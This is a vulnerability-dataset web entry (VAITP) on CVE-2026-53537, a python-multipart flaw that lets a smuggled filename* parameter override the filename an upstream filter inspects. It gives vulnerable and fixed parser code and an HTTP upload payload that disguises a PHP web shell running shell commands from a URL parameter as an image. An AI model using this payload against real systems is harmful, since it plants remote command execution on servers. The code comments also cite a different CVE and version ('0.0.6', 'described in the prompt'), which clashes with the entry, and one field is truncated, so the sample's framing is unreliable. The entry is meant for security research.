VAITP Dataset

← Back to the dataset

CVE-2026-53537

Python-Multipart allows parameter smuggling via Content-Disposition parsing.

  • CVSS 5.3
  • CWE-20
  • Input Validation and Sanitization
  • Remote

Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.30, parse_options_header parsed Content-Disposition (and Content-Type) headers with email.message.Message, which transparently applies RFC 2231/5987 decoding. The extended parameter syntax (filename*=charset'lang'value, name*=…, and the filename*0/filename*1 continuation form) is decoded and surfaced under the bare filename/name key, and overrides the plain parameter when both are present. RFC 7578 §4.2 explicitly forbids the filename* form in multipart/form-data. Components that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for multipart/form-data (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend. This vulnerability is fixed in 0.0.30.

CVSS base score
5.3
Published
2026-06-22
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Incorrect Algorithm
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
Python-Multi
Fixed by upgrading
Yes

Solution

Upgrade python-multipart to version 0.0.30 or later.

Vulnerable code sample

import email.message

# This code represents the vulnerable logic in python-multipart before version 0.0.6,
# where the CVE-2023-27463 vulnerability (described in the prompt with a
# different CVE number) was present.

# A malicious Content-Disposition header crafted by an attacker.
# A WAF or proxy might only inspect `filename="safe.txt"` and allow the request.
malicious_header = "form-data; name=\"file\"; filename=\"safe.txt\"; filename*=utf-8''dangerous.py"

# The vulnerable part of the library used `email.message.Message` to parse headers.
# We simulate this by creating a message object and adding the header.
message = email.message.Message()
message['Content-Disposition'] = malicious_header

# The `get_param` method on the message object automatically decodes RFC 2231/5987
# extended parameters. When both `filename` and `filename*` are present, the
# decoded value of `filename*` transparently overrides the plain `filename`.
parsed_filename = message.get_param('filename')

# This output demonstrates the vulnerability. The backend application receives
# 'dangerous.py' as the filename, not 'safe.txt', which could bypass
# security checks that do not parse the `filename*` parameter.
print(parsed_filename)

Patched code sample

import re
from email.message import Message


def vulnerable_parse_options_header(header: str) -> tuple[str, dict[str, str]]:
    """Represents the old, vulnerable parsing using email.message.Message."""
    msg = Message()
    msg["content-type"] = header
    # .get_params() transparently decodes RFC 2231 and overwrites the simple key.
    _, params = msg.get_params(header="content-type")
    return _, dict(params)


def fixed_parse_options_header(header: bytes) -> tuple[bytes, dict[bytes, bytes]]:
    """
    Represents the fixed parser, which manually processes parameters
    without RFC 2231 decoding, thus avoiding the vulnerability.
    """
    _header_break_re = re.compile(rb"[;]\s*")
    parts = _header_break_re.split(header)
    content_type = parts[0].strip()
    params: dict[bytes, bytes] = {}
    for param in parts[1:]:
        if b"=" not in param:
            continue
        key, value = param.split(b"=", 1)
        key = key.strip().lower()
        value = value.strip()
        if len(value) >= 2 and value.startswith(b'"') and value.endswith(b'"'):
            value = value[1:-1]
        params[key] = value
    return content_type, params


# Header that exploits the difference between parsers.
# A WAF/proxy sees `filename="safe.txt"`.
# The vulnerable backend sees `filename="malicious.exe"`.
malicious_header_str = "form-data; name=\"file\"; filename=\"safe.txt\"; filename*=utf-8''malicious.exe"
malicious_header_bytes = malicious_header_str.encode("ascii")

# --- Demonstration ---

# 1. Vulnerable behavior
_ct_vuln, params_vuln = vulnerable_parse_options_header(malicious_header_str)
print(f"Vulnerable parser sees filename: {params_vuln.get('filename')}")

# 2. Fixed behavior
_ct_fixed, params_fixed = fixed_parse_options_header(malicious_header_bytes)
print(f"Fixed parser sees filename: {params_fixed.get(b'filename').decode()}")

Payload

POST /upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA
Content-Length: 225

------WebKitFormBoundaryA
Content-Disposition: form-data; name="file_upload"; filename="innocent.jpg"; filename*=utf-8''malicious.php
Content-Type: application/octet-stream

<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundaryA--

Cite this entry

@misc{vaitp:cve202653537,
  title        = {{Python-Multipart allows parameter smuggling via Content-Disposition parsing.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-53537},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53537/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::